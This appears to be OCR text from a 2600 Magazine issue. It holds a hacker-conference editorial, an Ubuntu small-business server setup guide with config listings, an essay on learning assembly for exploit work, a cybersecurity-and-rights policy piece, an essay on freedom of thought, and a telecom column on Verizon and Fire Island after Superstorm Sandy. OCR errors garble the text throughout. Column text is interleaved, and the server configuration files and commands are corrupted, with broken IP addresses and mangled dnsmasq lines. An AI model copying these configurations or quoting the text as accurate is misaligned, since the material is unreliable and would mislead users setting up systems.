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In this election season, we all know a thing 
or two about promises. They arc what the poli­
ticians feed u� in order to get elected. They 
almost never are fulfilled and most of us aren't 
the least bit surprised by that. Yet the cycle 
continue:. time after time. 

But there's a different kind of promise out 
there. one that was exemplified nt The Eleventh 
HOPE this pa�t July. That promise actually 
docs come to fruition with enough support and 
nurturing. We call it the hacker promise. 

Oddly enough. and perhaps appropriately 
so, those involved in political campaigns arc 
scared to death of the potential of hackers. 
Why? It's painfully simple- they fear the truth. 
And nothing is more honest than someone 
who reveals that :111 is not \\.CII when we're 
con�tantly told over and over again that it is. 

We've all read "The Emperor's New 
Clothes·· (and if not. we all should) where an 
honest child does what no other dares do and 
says out loud that the emperor isn't wearing 
any clothes at all when everyone else was 
too scared not to play along with the charade. 
Whenever we demonstrate a lack of security, 
obtain documents that arcn 't supposed to exist, 
challenge the statu� quo. or reveal a lie, we're 
embarrassing an emperor of tmc sort or another. 
And this is "hy. however deeply hidden. the 
general public cheer" \\hen it occurs. The 
hacker promise once agam shows what is true 
and what is not. There is no bigger threat for 
those addicts of power. 

You could not have found a more diverse 
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and freethinking group of people than the 
attendees and participants at The Eleventh 
HOPE this summer in New York City. II' 
there had been a single theme. it would have 
been that of questioning assumptions. !:vel) 
system amaginablc was subject to being chal 
lenged with something better designed to 
take its place. That is what hackcl'l> do .1nd 
we're in,pired beyond words to sec so many 
people who clearly get this. Here arc ju�t a few 
instances of our promise and the threat it poses: 

Designing and u�ing strong encryption to 
protect our privacy is a recurring topic in 
the hacker world. Encryption in the hands 
of the populace i� seen as a threat by those 
in power. 
Taking back access and control to every­
thtng from automobile repair to musac 
recordings to food to pharmaceuticals- all 
currently a n t  he hands of big business with 
a level of manipulation unprecedented in 
our hiMory. Hackers are the ones who 
will figure out how to either bypass these 
systems or make them irrelevant. Again. a 
huge threat to the system as it stands. 
Demonstrating how almost any lock 
can be defeated. any key copied. Our 
lockptcking talk' were among the most 
popular this )Car and the techniques 
displayed were imaginative and \cientific. 
It may make a lot of companies. go,em­
mcnh. and people uncomfortable. But at's 
the truth. 
Civil liberties issue� have always been at 
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the forefront of the hacker world and the 
many campaigns and projects that groups 
like the Electronic Frontier Foundation 
and the American Civil Libeniel. Union 
arc involved in could fill an entire confer­
ence on their own. But the truth here is 
that. when mixed with the spirit of rebel­
lion and challenge that already exists in 
the hacker world, the amount of in�pira­
tion gained from their talks wa1. extremely 
contagious. It all leads to continued and 
ever-expanding discussion� that those in 
power would rather not have happen. 

We can go on and on with examples, but 
looking at the HOPE program guide would 
basically make the same point. What comes 
out of a conference like this isn't something 
as innocuous as a conversation about building 
better security. This is about changing the way 
we think and the way we do just about every­
thing. Whether it's coming up with a new 
digitnl currency. bypassing drug comp<tnies 
and their artificial price controls. coming up 
with alternative fuels, figuring out a new way 
to broadcast or recei'e material that otherwise 
would be inaccessible. there is no element 
of our society that isn "t in the crosshairs of 
change. Yes, designing better security ts m 
there too. But Jl's so much bigger than just that. 

Thb is a train that cannot be stopped; 
there is simply too much momentum at thb 
point. With every hysterical report of what 
hackers could be doing to our privacy, wilh 
every Congressional hearing about the threat 
of "cybertcrroriMs," and with every political 
campaign claiming they're being targeted by 
the digital underground. what you're actually 
seeing ts unbridled fear and panic. Because 
deep down. all of these people t...now that if 
they haven't alread) lost control. they will 
fairly soon. Their system and sy1.tems are very 
powerful and omnipresent. They too get better, 
fm.ter. and more encompassing with every ye:�r. 
But, whether it's today, next year. or a decade 
from now. they will become unsustainable. 
Human ingenuity and the desire for freeuom 
and self-determination always come back up 
to the surface, regardless of how long they've 
been forcibly submerged. What's different now 
is that we have more tools and platforms than 
ever before to accomplish this. What's different 
i'> that we're all dtiTerent. and yet umted in this 
desire. That means thousands or even millions 
of ways to achieve a goal rather than just one 
set of rules handed down from the C<Lstle. 

This is whm the hacker promise represents 

and. while we're confident and optimistic about 
the future. it docsn 't mean that some very dark 
days don't lie ahead. When coming up against 
such powerful entities on such fundamental 
bsues. it's inevitable that we will be demon­
ized, targeted, and punbhed for daring to be 
different. This is how we know that we're 
winning. 

And we win when we're diverse. when we 
debate. and when we respect one another. No 
political party can ever represent us beyond an 
issue or two. We will always thin(.. outside the 
box and come up with ways of doing things 
that don't foliO\\ the rules. If the emperor has 
no clothes. if there'll a way to defeat security, 
tf there's danming evidence to leak, we will 
never remain silent. regardless of the political 
price. That's the promise of the hacker world 
that we can never breat.... 
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by Jerry 

Installing a desktop version of Ubuntu 
requires little skill these day� as the "Live·· 
distro is available everywhere and installs 
without much thought. This actually cheats you 
the user by not al low ing you to understand the 
inner workings of the system. 

This changes, however, if the job require s a 
server i nsta II. 

Servers have a set of hardware/software 
requirement� differing for the consumer grade 
desklopflaptop installations . The most common 
change will be two network interface cards 
(NIC). Additionally. the BIOS may be compat­
ible, but in some server hardware, the BIOS 
may not be compatible. 

This brings us to RTFM (Read The Fin' 
Manual). Do your homework . verify the BIOS 
compatibility, video. audio, NIC, RAM, and 
hard drive . 

The Phoenix Project II 
In 2600 Maga:ine 33: I ,  page 55. I wrote of 

a SuperMicro rack server that arrived with a 
valid copy of Microsoft Server 2003, installed, 

complete with C.O.A. attached to the lid. In 
its previous life, it served faithfully as an FTP 
server in an electronics lab, complete with 
in-house proxy server. vi1tual server instances. 
virtual NICs. and all of the installation software . 
Faithful readers will already have that issue on 
the shelf. Fifty USD for the server: well spent. 

Phoenix Project II b a complete Ubuntu 
server installation. Due diligence requires a 
boot into the BIOS. collecting information on 
BIOS version, CPU, chip set. video, and RAM. 
The good news: Intel supplies many server 
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boards for industry. and the majority of drivers 
available work just fine. 

Servers do n01 require high end video, so 
"Standard VGA'' is the default. Servers do not 
require audio, so you only need a beep speaker. 

however the high end video/audio drivers will 
load during the install if the hardware exists. 

This SuperMicro rack has an Intel Celeron 
2.4 Ghz, (Single Core 32 Bit) 2 gig DDR2 @ 
533 Ghz un-buffered RAM, two Broadcom 
NetXtreme gigabyte NICs, 80 gig SATA hard 
drive , preuy basic stuff. 

This small rack mount server is perfect for 
testing the Ubuntu server software. More and 
more IT departments are leaving Micro$oft 
Server for Linux. 

Most servers arc silting idle most of the 
work day, supplying requested data, providing 
data storage, logging on users, providing 
Internet access. These tasks are not difficult and 
many SMB (Small Medium Business) servers 
are specified with an entry level hardware set. 

Two NICs allow the server to connect to the 
Internet on one and serve the local network on 
the other. This prevems users from connecting 
to the Internet without logging onto the server 
as a security measure. However. you may set 
the server up to simply store and retrieve data. 
if it's inside the domain. In this case, you can 
use the second NJC for a different department. 
preventing ''browsing'' by curious users . Try to 
use the KISS principle: Keep Jt Simple, Stupid. 

With a minimum list of users, you may just 
assign passwords and allow access. However, 
the best practice is to create "groups" and then 
assign any new user to that group. 

You set the group policy to aJlow read write 
copy pern1issions as mandated by management .  
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Join mg. the group allows the user to have all of the right� of that group. The expn:\siun is ··Manage 
group�. not U\Crs." 

The reference is here: http://askubuntu.com/questions/66718/how-to­
•manage-users-and-groups 

The scncr install CD/USB stick allows you to install Ubunt u pennanently on a computer for 

usc as a server. 

There nrc two ISO images available, each for a difTerent type of computer: 
PC (Intel x86) server install CD. For almost all PCs. This includes most machines with Intel/ 

AM Dlctc. type processors and almost all computers that run Microsoft Windows, as well as newer 
Apple Macintosh systems based on Intel processors. Choose this if you arc at all unsure. 

6-1 bit PC (AMD64) serl'er insw/1 CD. Choose this to take full advantage of computer� based on 

the AMD6-1 or EM64T architecture (e.g .. Athlon64, Opteron. EMMT Xeon. Core 2). If you have a 
non-64· bit processor made by AMD, or if you need full support for 32-bit code, usc the Intel x86 

image\ tn\lcad. 

The ltnk Is here: http: I /www. ubuntu. com/download/server and here: http: I I 
•www.ubuntu.comldownload/alternative-downloads 

A typical mstall is to replace an aging "small business server" that is no longer sup ported by 
Micro$ofl. This will allow the small business to control Internet access, send and receive email, 
pennit directory shares, and perform other needed services. 

An SMB server inside the local domain may not need the same services as an "Internet server," 

such as the full LAMP stack (Linux, Apache, MySQL, PHP). However, the link is here if needed: 
hLLps://www.digitalocean.com/community/tutorials/how to-install­
•linux-apache-mysql-php-lamp-stack-on-ubuntu and the Wiki link: 

hlLF://en.w kipedia.org/wiki/LAMP 28software bundle 29 
lla\ing verified the version of server OS that wilt install, proceed 

�
vith the fir..t boot. The Ubuntu 

Server Gtudc is here: https: I /help. ubuntu. com/1 ts/serverguide/ 
Ag;un, RTFM. 
llere comes the "Copy Pasta." 

List Of Features 
Ubuntu Business Box Server Features 
Server operating system 

Network Firewall 

DNS server 

DHCP server 

Internet sharing with proxy and cache control, 

including reporting and user access control 

Software 
Ubuntu 12.04 LTS 

ufw* 

Dnsmasq 

ISC DHCP 

Squid, Sarg 

Anti-Virus and Anti-Spam ClamAV, 

AMaViS, SpamAssassin 

Groupware Email, Contacts, Calendar, Webmail, with native 

Microsoft Outlook compatibility and mobile device support 

Instant Messaging, VOIP and Video Chat server 
Shared Printers and Files 

Webserver 

FTP server 

Database server 

VPN 
Hamachi, Haguichi* 
Virtualization support 

Network Backu p 

Cloud Backu p 
Remote Desktop Administration 

Remote Web Administration 
System Monitoring 

Automatic Security Updates 

SOGo* 

Openfi.re, Spark* 
Samba 

Apache* 

ProFTP* 

MySQL* 

LogMein 

Oracle VM VirtualBox* 

RAIDl NAS* 

Ubuntu One* 
xllvnc* 

Webmin 
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lmtall Operating System· Ubtwtu 12.04 LTS 

Download Ubuntu 12.04 L.TS 32bit or 6-Jbit. Server or Desktop edition. This guide b based on 

the desktop in�tallat1on for u�r-. not comfortable wnh command hne on I). 

Create a bootahl.: USB �lick or CD and boot }OUr server computer with the mstallallon as 

explained on the Ubuntu slle 

Once you have booted your computer from the Ubuntum�tallation USB stick or CD. you should 

see the installation screens helow. 

Follow the inmuctions and adapt as required. 

Encrypting the home folder step i� optional but provides llll added level of security. 

Set flostuame (FQDN) 

Select a Full) Qualified Domam Name for your sen-cr. 

We will b.: using ubbO I .mydomain.local as our FQDN example m the instructions. 

Add the name and IP to your 'etc/hosts file as shown below and save the file: 
sudo gedit /etc/hosts 

� - - •hosts Uetc) • ge d it 

F1l� Edit V1ew Sedrch Tools Oocum�rc, !"'elp 

B • Open • W Save .:0 4- undr, ill 
· / 

:J hosts X 
1 
2 �27 .1!.8.1 loca\host 
3 127 .11.1.1 ubb!l1.1'1ydol'lai.n.local ubb81 
4 192.168.8.2 ubb81.1'1ydol'!ai.n.local ubb81 
s 
6 
7 • The following lines are desirable for 1Pv6 capoble hosts 
8 ::1 \p6-tocathost \p6·\oopback 
9 feee: :8 tp6· tocalnet 

18 ff8&::8 tp6·Mcastprefix 
11 ff&2: :1 tp6·allnodes 
12 ff82::2 \p6·a\trouters 
13 

___ __.;P...;.la "-ln;.;..;Te xt • Tab Wldth·_s;;...._• __ ....;L"'n"'2;:.., c;;.;o:..;.l..:.t ___ I;;..N;.:;S_ 

Then change the host name file by opening a terminal window and entering: 
sudo su 
echo "ubbOl.mydomain.local" > /etc/hostname 
service hostname restart 
exit 

Configure Network interfaces 

Ubuntu ha� veT) good reason' why it prefers we do not do thi\ - but this needs to be done at 
'ome point or someone cbc will. Open a terminal window and enter the following: 
sudo ged1t /etc/nEiwork/Jnterfaces 

Replace the content of the file with the following and save: 
f The loopback nEiwotk interface 
auto lo 

iface lo inet loophack 
I The primary network interface 
auto ethO 
iface ethO 1net static 

address 192 .168 . 0 . 2 
netmask 255 . 255. 255. 0 
network 192.168 . 0 . 0 
broadcast 192.168 . 0 . 255 
gateway 192.168 . 0 . 1 
dns-n�mcservers 192.168.0.1, 8.8.8 . 8 
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Table rules 
po t-up iptables-restoro < /etc/iptables.up.rules 
I fhe secondary network interface 1ntcrnal 
auto ethl 
iface e�hl inet sLaL1c 

address 192.168.1.2 
netmask 255.255.255.0 
network 192.168.1.0 
broadcast 1Q'.l�A.l.255 

Edit the DNS configuration - Dnsmnsq 
Install Dnsmasq. Open a terminal and enter: 

sudo apt-get install dnsmasq 

Edit the Dnsmasq configuration file by opening a terminal window and entering: 
�udo gedit /etc/dnsmasq.conf 

Replace the content of the tile with the following and save: 
• :>NS <;et tings 
IE tver ,localneL,��,. •6o.u.2 
server•/f/192.168.0.1 
server•/i/8.8.8.8 
server•/1/8.8.4.4 
I Domain Name 
domain mydomain.local 

Server DNS settings ... this is required as the server itself will 
not be obtaining its IP address via DHCP and therefore would 
not be automatically added to the ONS records for forward/reverse 
DNS queries as required by Kerberos 

ptr-rPcord=2.0.168.192.in-addr.arpa.,"ubbOl.mydomain.loc'll" 
add s /ubbOl.mydorolin.local/192.168.0./. 

The setup require� th<tt you have your Internet router with a fixed lP address of 192.168.0.1 
connected to your LAN Adaptor /II (ethO) port with a DNS name server running on the router 
providing Internet access. 

Your outward facing connection is LAN Adaptor II I (ethO) with IP 192.168.0.2 
Your inward facing connection is LA.\J Adaptor #2 (cth I) with IP 192.168.1.2 
Normally. management t}pcs are reluctant to allm\ full range testmg on new server installs 

due to artificial "budgets." Thi'> often is a mi�tal..c. Sadly. the IT department will be blamed for 
any �crew-ups regardless. "Best Practice," install the server and test as long as you can. Work the 
bugs out. Install as a VM. �haring hardware with :mother system if possible. Document any and 
all conliguration parameter�. E�tabl ish a local domuin separate from your working system. Test it 
again. 

The Phoenix Project Ill will cover groups and users. and establi;.hing a "Private Cloud." Stay 
tuned. don't touch that dial. '>ame time same station. 

------ Fs ------

C'ome and join the lifetime c.Jigital digest club. 

You'll get all of our existing /lacker Digests, plus 

a newly archived one e\cry quarter. along with a 

brand new digest once a year for as long as you or 

we arc around. S260 gets 11 all (Analog lifet1me 
subscribers can get this for $1 00.) Latest releases: 

Volume 32 from 2015 and Volume 12 from 1995. 

Visit store.2600.com ancl click 011 Downloads/PI>/·: 
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MOV Before You JMP by Vuk Ivanovic 
vuk.ivanovic9000@gmail.com 

Get it? Never mmd Long umc ago. when I Marted my JOurney mto hacl .. mg. one of the bcM pomter. 

that I read on one of the many hacJ..ing related wcb�itcs wa� the importance of learning to code in order 

to understand how progr.um. work and how they can be made to do things that they weren't initially 

meant to do. 
I followed the advice with some mistakes; I started with Q13asic and Visual Basic. And. as sorne 

may know. QBasic/Visual Basic and hacking have nothing in common (mostly). If one wants to learn 
about discovering vulnerabilities and developing exploits, thm.e two programming languages arc not 

a way to go· at all. On the other hand coding in those (especially Vbual Basic) got my creative juices 
flowing. until I rcahLed that every program that I wanted to make already existed. And then I remcm· 

bered '' hy I Marted coding in the fir.t place. It wa<. all about undcr.tanding what makes various thing;. 
tick: clocks. computer.. video games. TV sets. humans and so on. In order to bcncr understand that 
aspect. I decided to go bacl .. to the well and to seek deeper. What I learned was that! started wJth the 
wrong progmmming languages. The ri ght path wa.s. and still 1'. C and assembly, especially assembly 
(for exploits, shell codes and pretty much everything). 

Thi� isn't a crash course 111 any of the programming languages; this is about the importance of 
assembly and knowing the huilding blocks of whatever the hig picture you arc interested in may be. In 
order to bcner demonstrate what I mean by the title. following arc some really rough and really basic 

examples of code to compare two numbers: 
in assembly(32bit, Linux): in C: in PHP: 
mov eax, 1 int x=l; $x • 1; 
mov ebx, 2 int y=2; $y 2; 
cmp eax, ebx if(x<>y){ ift$x<>$y){ 
jne not_equal_function goto not_equal; not equal_func(); 

For some. perhaps many. who are into coding. all of the examples above make perfect senM: (except 

for using goto. but it\ just an .:>.ample). and for other. who haven't dealt with assembly before. the 
as\embly example may be confu\ing (and even if it's not. take thi' under consideration: assembly 
coding is different 111 Wmdows - note also the 32 bit pan becau'c 64 bit code differs from 32 bit). 

Funhem10rc, unlike PHP. even doing a �imple output of a string requires the following three lines of 
assembly: 
mov ebx, write to the STDOUT file 
mov eax, invoke S�S_WRITE (kernel opcode 4) 
int SOh 

There's also the thmg about how words. sentences. and numbers arc defined in assembly. It's some­

what easier inC and pretty much a joke in PHP. And. to be honeM. after understanding Lhe logic of 
a�scmbly and the somewhat "milar approach in C, every other high level programming language is 
ea;.ier to undcr.tand by just lool.mg at the code and what it doc' when compiled/executed. 

When l started gcttmg deeper into vulnerability research and exploit development. I had to learn 
about fuzzers The most popular and yet easy to u:,e fu11ers arc 111 Python. Here's the catch: I haven't 

read a single "hello \\iOrld"" example in Python, let alone messing around with sockets and networking. 
and yet by just reading the Python code it all made perfect sense. In truth, I did have to look up how 
to specify different type� of network sockets (udp instead of tcp), but that was it. And, yes, I did get 
confused a couple of times when I got errors regarding indentation • that's how liule I was aware of 
anything Python (other than Monty Python, Nil). And since then, I have managed to go through PIJP. 
JavaScript. Ruby. MEAN Stack. and probably whatever comes up next. Granted, MEAN Stack and 
any framework based coding docs require lookjng into tutoriab because of how various files/modules/ 

views/whatever arc orgunited, but the coding part is pretty much as logical as it has always been. 
No\\. to tum it all tow:trd hacking. while it's true that progrJmming �ynta."< is constantly evolving 

and its goal is to mal..e codmg ca�y tor anyone. the mo.,t important :md most fun programs/services to 
exploit are Mill coded 111 C (moM recent: OpenSSL =Heart bleed and BaJ.h = Shcllshock. and whatever 

comes up by the time thi' is.,ue gets out). 
In order to find a vulncrabilit) and\\ rite an exploit. one needs to know assembly (at least the basic' 

of it). and then there arc time' when one needs to l..now more itbout it (when it comes to �hell �i7c 
because siLe matters a lot when it come� to exploit development). While it's true that there are WilY' to 

go around assembly. 111 the long run it's invaluable to know at least some of it. 
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;r•s SECURITY, STUPID 
CHALLENGING THE NOTION THAT 
SECURITY COSTS US OUR RIGHTS 

by Mallory Knodel, Sacha van Geffen, 

Stefania Milan, and Camille Francois 

So why is this fundamenlal truth that rights 

and security arc mutually reinforcing so hard 

to understand? Looking clo�cly ut the domi-

La�t March in San Francisco. experts in nant narrative - that we must give up our indi-

digital security and human rights convened vidual rights to become collectively safer - is 
a roundtable d1scu�sion on practical adv1cc a paradigm perpetuated mostly by government-
for advocating a human-centric approach to industry partnerships that thrive on securitiza-
cybersecurity policy. ParticipanLs included tion. It is no coincidence that at the da\\n of the 
state�. companies. non-profits. and universities. digital age we also sec a dystop1c reality in the 
namely Richard Arbeiter from the Canadian ncar future. With a global economic recession 
government\ department on global affair�. cau�ed by Internet-enabled globali1ation and 
Nico Sell from Wickr, Eileen Donahoe from two-faced technocracies that promote innova-
Human Righrs Watch, and Ron Deihcrt from rion at home and endless war abroad, the rights 
CitizenLab. Bruce Schneier, another partici- versus security narrative fuels government 
pant. �ummcd up the panel very neatly when he 

power and corporate profit\ in nearly every 
quipped. "It's �ecurity, stupid.'' 

Th d bl h b 
setting. 

c roun ta e was put toget cr y a 
What has, since the Snowden revelations, 

y,orking group of the Freedom Online Coalition. 
effectively been dubbed the Freedom "Over 

an international cyber policy incubator started 

by then U.S. Secretary of State Hillary Clinton there" Coalition. is a class1c example of tech-

in 201 1 .  Thi� worl..ing group. "An Internet nocratic hegemony. Indeed we sec gross viola-

Free and Secure," is tasked with harmoni1ing tions of human rights in the Internet '>hutdowns 

human rights and eyber security. While there of Africa and the censorship of Asia. But the 

is no shortage of criticism of the FOC since irs human rights righteousness of countries like 

inception, which has only grown over the years the United States. Canadu. and the United 

as some founding member states have been Kingdom. who nonethele�s play impo11ant 
propagating "online freedom" by spying on the roles in the FOC's working groups. is not the 
world. there still exists a concerted. multi-st:lkc takeaway for countries drafting cybersecurity 
holder effort to define policy making practice' policy. It is the actions of these governments 
that put people before profits and po"er 111 the along with their domestic n<lmllives of securi-
digital age. Thi� working group has developed Illation that are being prop:�gated around the 
a �et of recommendations for policy makers 111 world. then made affordable and efficient by a 
local. national. regional. and intergovernmental globalized security industry that has been incu-
settings. hated in those same countries. 

Those recommendations are built upon a The FOC working group is actively 
fundamental rejection of the notion that secu-

dislodging the dominalll narrative that pits 
rity requires a sacrifice. however slight, of indi-

rights against security by redclining cybcrsecu­
vidual rights. Indeed, it is precisely the oppo-
site: that the ability to enjoy and exercise all 

rity with people at the center and hy promoting a 

rights such as the right to privacy or freedom of normative statement of policy recommendations 

assembly b itself a measure of a secure society. for how cybersccurity policy should be written 

We can't have rights without cybersecurity. und implemented if it 1s to truly he secure. e.g. 

But what good 1s security without our nghts'l including the protection of human rights. At 

Rights and security arc not antithetical: they arc The Eleventh HOPE. our\\ orl.ing group (repre-

mutually reinforcing. And we assert that C) bcr- '-enting APC. Green Host. the Data J Lab. and 

�ecurity policy at all levels, from protocol and the Berkman Center) presented recommenda-

standard'> setting to criminal law. can and must tions and discussed how tcchnolog) e\pcns can 
respect (and even strengthen!) human rights. contribute to rights-respecting cybcrsccurity. 
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by Daelphinux 

Everyone. and in this case there is no 
hyperbole - sincerely everyone. has the 
capacity for freedom of thought. The human 
mind is an astounding thing: it is. truly. the 
onl> place there is a legitimate knowledge of 
privacy. No one can get inside another person·.., 
head (at least with our current level of tech­
nology) to sec what they arc thinking. It is 
this freedom which means so much to us as a 
species. Without this freedom there would be 
no individuality. 

Certainly through the e\Oiution of 
humanity. a necessity for a certain level of 
sociali/ation or interaction has developed. In 
fact. if it had not been for this interaction and 
development of structured societies it is likely 
that the world we know and live in now would 
not exist. It would likely be an impossible 
notion even. Humanity is inc).tricably mated 
to the concepts and notions that spawn from 
and revolve around soc1alilatwn Even this 
development of individuality is caused by our 
socialitation. Without this individuality there 
would be no need, nor desire. to have any 
social interactions. [f everyone had the same 
thoughts. feelings, wants, and beliefs most, if 
not all. interactions would be bland and would 
not have any benefit. It is the clash of individ­
uab that makes social interaction enjoyable. In 
this sense, the societies with1n cyberspace are 
no different. 

Cyberspace is, in itself. a sociological 
phenomenon. It is a society, complete with 
countercultures. subcultures. mores. laws, and 
ethics all its own. Yet even still this society is 
inextricably linked to a hard-coded desire for 
sociali/ation that comes from simply being 
human. Look at the most popular locales in 
cyberspace. There arc content aggrcgators 
(Rcddit, Voat, even Digg still exists), there are 
social networks (Facebook. Ello, Myspace). 
there arc news websites (complete with 
commentary sections). and there are blogs 

where people, in their sociublc ways. want to 
shurc every facet of their lives with everyone 
else. Even this writing itself is a cry of social­
ization; it does not exist to not be read. Cyber­
space is built entirely on humanity's,occasion­
ally subconsciou�. need to be social. (Even 
people claiming to have no social desires or 
needs can be found '>OCiali/ing in cyberspace: 
sec subreddits /r/hem1itlifc and /r/misanthropy 
for two small off-the-cuff examples). 

The socialization of cyberspace is an 
important thing to consider when discussing 
how people are free of thought. Even in such 
places where all of one\ prior actions are able 
to be cultivated. viewed. and anal) zed, one's 
thoughts cannot be predicted or stolen from 
them. Cyberspace would be the quintessen­
tial example of the failure of the freedom of 
thought if it were possible Ill breach. Thought 
is. 111 reality, the only true freedom. People 
can be restrained. people can be coerced, and 
people can be broken. Thoughts, however, arc 
never able to be restramcd,coerccd. or broken. 
Our thoughts are our own, and whatever 
outward expression we may have can conceal 
those thoughts from everyone else. To quote 
Alan Moore. and his character Evey, from his 
work V for Vendetta. "an idea can still change 
the world. I've witnessed first hand the power 
of 1dcas. I've seen people kill in the name of 
them. and die defending them ... but you cannot 
kiss an 1dea, cannot touch u. or hold it... ideas 
do not bleed, they do not feel pain, they do not 
love ... " Our thoughts, which infom1 our ideas. 
arc equally immutable. That is the benefit of 
incorporeal thought and abstraction. No one 
can take an abstraction from anyone. 

Always, if nothing else, remember that 
thoughts are free. E�cn 111 times of stress. 
turmoil, pain. and suffering. hold on to the 
thoughts that make you. you. Those thoughts 
will keep you free and true, they cannot be 
taken from you. 

l)ie Gedanken sind frci. wcr kann sic 
crratcn? 
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llcllo. and greetings from the Central Office! 
Autumn may be approachint;. but it's a scorching 106 
degrees outside. Where ;1111 1'1 PhtJCnix Sky Harbor 
A1rport, en route to Loui�iuna. There i-. an absolutely 
unholy me" to clean up due tn the massive flooding. 
and ••II hand" arc on deck for recover) efforts • not 
JU'l from the incumbent prov1der. in the affected 
areas, but from aero'' lhc country. Just like fire 
department\ and power compamcs, phone compan1c' 
ha\c "mutual aid" contr.tct' ''he reb} we assist one 
another during emergcncic,. 

All of lhi� brings to mimi Superstorm Sandy. 
;1nd Vcri10n'; creative hut uhimmcly ill-fated efforts 
to avoid fully restoring service tu Fire Island. New 
York. The aftermath of Sandy was the first salvo 111 
one of the biggest regulatory war. C\Cr foughl. And 
1t'' a war you've probabl) ne\cr heard of. 

Phone companie' hke our. arc all trying to figure 
out what to do with their aging copper outside plant, 
and d•suste rs like Superstorm Sandy force the issue. 
I hmc,lly. many of u' arc :.truggling to May in bus i­
nc''· The competitive landscape has massively 
shifted 111 the past 20 year,, and continuing the status 
lJUO is �!.!coming very dirticuh for phone companie\ 
Th1' ., pan.cularly true in rural. dl\il\ler-prone area ... 
wh1ch have ahva)'S been expen,Jvc to sen ice. 

Most e,i,tmg copper w1nng ., decades old. In 
some area\, it's a century old (..omctimcs even more). 
Over time, out•ide plant comxlc'>. Water leal..s into 
cables and damages them. In our Ccntml Office. if 
we printed out all of the out,ide plant maintcn;mce 
ticl..cts that have been filed and Maeked them on 
top or each other. they'd probably \tretch from thl.' 
floor to the ceiling. Reahsti.:ally. none of these prob­
lems arc C\cr going to (1.: fhed. for the mo\1 pan. 
1t's not \\Orth tracking down and repairing faults in 
the copper plant anymore. If •• pair becomes unus­
ahly corroded, we simply switch the sub!.Criber to 
another pair. There are plenty of extra' amidst a sea 
or disconnections. If a copper trunk cable becomes 
unusable, we juM let it rot. run a new cable with fihcr 
to the node (typically a w1ring cabinet). and cut over. 

Wh1le traditional telephone infrastructure is 
aging. b<.-..:oming les' reliable, and is no" far more 
expen'i' e to maintain. fe\\cr and fewer customer.. an: 
actually wb..cribing to wire line services. This leaves 
le\S money to maintain them a /m less. ln the United 
States. there are now only abuut 60 million traditional 
landline subscribers. MoM remaining subscribe r:. 
arc poor. rural, or elderly people, primarily using 
subsid11ed \erviccs that arc not protitablc. The only 

truly profi table cu;tomcr' remaining arc bu,inessc' 
who need landlines for credit curd or fax machines. 
llowevcr, now that businesses have been required to 
update their credit card mach1ne;, to new one;, with 
EMV chip capability. thcy ar.: witching en ma��e to 
w •. f-1 and we 'rc seeing a nc" land .. ! ide of di;,connec· 
lions and these are our mu't profitable dial tones! It\ 
not that people and bu,ine"c' have given up land­
line' cnurcly. the)' have ju'l ghen up on trmlitimml 
landlme\. There has b<!cn a ma;,;,ivc �hift to �crvicc' 
provi<lcd by cable com panic� (the "triple play" bemg 
u formidable competitor to troduional phone servi<.:c). 
:1nd thi' competition h••' uttractcd both bu�iness und 
rc;,idential customers. Comcast. 111 fact. is now one of 
the largest phone compan•e' 111 America. 

And honestly. who can bl<1mc them'? I wa., truly 
;1\tom,hed at the number of di..conncctions we began 
to proces;, when the loc:•l cable company began 
offering unlimited ltll:al .md long distance callmg 
wllh :11l culling features for $19.95 per month. We 
can't compete with thut when n I FR POTS line (with 
no calhng feature') is tarifTc<l at $20 per month (plus 
su"harges. and there arc u /m of surcharges>. We're 
htcrully t\\ icc a.' e'pen;,J\ e for the same sen 1cc. 
Sure. the quality of a l<�ndline phone is beuer. and 
landhnc' work rcliabl} dunng power outages, but 
VoiP phone;, delivered 11\Cr cable arc good ennugh 
fn1 most ;ubscribcr.. They come with a 48-hour 
backup ballery and work Jlll>t as reliably during 
powcroutagc.s (until the buHery dies) ns landlincs do. 
Also. given thm ahno't everyone has a cell phone und 
u car charger. people ju't dun 't worry as much atxlut 
phones \\orking during JXlWCr outag.:s as they u'cd 
to. If they need to make a call. the) can just go out to 
the car What\ more. cellular nct\\Orks have actually 
pmvcn mare rehable dunng emergencies than land 
hne,, occau.c wireless s1gnal\ don·t get flooded nut 
or knocked down by trees. 

All of thi; brings us to Fire Island. New Y01k. 
111 the aftermath of Supcr..tonn Sandy. Fire Island is 
.1 9.6 s4uare mile island (post-Sandy, it'� technically 
two islands) \\ith a ycar·rountl population of onl) 
292. It\ a popular gcla\hiY spot for s.;e.,.. Yorker.. 
dunng the summer month,, \\hen the populallun 
gn1"' to .cveral thousand people despite bemg car­
tree. And while disa,tcr.. often cause major damage, 
11\ relatively mrc that un entire community i'> left 
completely without phone service. However. this 
happened on Fire Island 111 the aftermath of Super· 
storm Sandy. 
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Fire Island tool. the brunt of the storm surge. 
which wru. so l>Cvere th:u 1t hterally washed awa} 
much of the existing Veri1on copper network and 
corroded the remainder to the point of being unus­
able. This was a big deal: no '>ingle incident in recent 
memory destroyed as many telephone facilities as 
Superstorm Sandy. Apart from destroying phone 
lines in many communitic>. Sandy flooded a massive 
Vcrizon switching center in lower Mnnhannn nt 140 
West Street. While the tandem switches upstairs 
weren't damaged, the cable vault in the basement was 
completely ;ubmergcd. Thi> ;ccnario wa; repeated at 
multiple data centers throughout the city, causing 
major Internet ;ervicc di'>ruptiOn\. 

Back on Fire !'land. the disaster was so •evcre 
that the island \�a> 'plit m two. the ocean reaching 
the bay through a channel newly c:�rved by Mother 
Nature. Eighty percent of home' were flooded. and 
90 (out of 4,500) homes were completely destroyed. 
It's not hard to imagine that given rising sea levels. 
this isn't the lust time thut thi' will hnppen. In an era 
of global wanning. Fire !'land's days arc numbered. 
And this left Veri�:on with a predicament: what 
should be done to r.:build, and how could it be done 
fast? Verizon is the sole pmvider of communications 
services on the island. and wa' under strong pressure 
to restore service quiclo.ly. 

Verizon·s solution wa' \lmple and innovative: 
convert Fire Island to wireless-on!). In other wordJ.. 
don't rebuild. From their per\pective. it was simply 
good business. Why mal.c a ma\'>ive investment in 
restoring relative!} unpopular mfrastructure. and 
make that inve.,tment in a location whose days are, 
in an age of climate change, numbered? Veri7.on 
announced that they would not rebuild the copper 
network, filed with the FCC tO di'iContinue it. and 
introduced a product to Fire Islanders called Voice­
Link. This became one of the biggest telecommuni­
cations controversies in American history. 

VoieeLink (;old by the l:mdlinc division of 
Veri£on) and Home Phone Connect (sold by the 
wireless division of Vcruon) arc essentially the 
same product. called a "wircle" landline." Many 
phone companie; (includmg AT&T. Sprint. and US 
Cellular) offer similar product\. While these devices 
are typically branded by the carrier selling them. the 
equipment i� manufactured by Chmese manufac­
